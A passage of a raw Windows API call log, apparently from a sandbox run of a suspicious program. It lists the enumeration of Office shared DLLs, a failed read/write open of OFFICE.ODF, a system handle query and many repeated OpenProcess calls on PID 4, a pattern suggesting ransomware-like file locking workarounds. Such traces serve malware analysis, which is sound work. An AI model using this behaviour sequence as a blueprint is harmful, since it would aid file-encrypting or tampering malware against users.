ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cultures", cAlternateFileName="")) returned 1 [0142.889] GetProcessHeap () returned 0x2a0000 [0142.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0142.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.890] GetProcessHeap () returned 0x2a0000 [0142.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0142.890] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.890] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0142.890] GetProcessHeap () returned 0x2a0000 [0142.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0142.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.891] GetLastError () returned 0x20 [0142.892] GetProcessHeap () returned 0x2a0000 [0142.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x2910020 [0142.892] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x2910020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x2910020, ResultLength=0x0) returned 0x0 [0142.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.986] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.987] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.988] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.989] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.990] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.991] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.992] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.993] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.994] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.995] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.996] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.997] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0142.998] OpenProcess 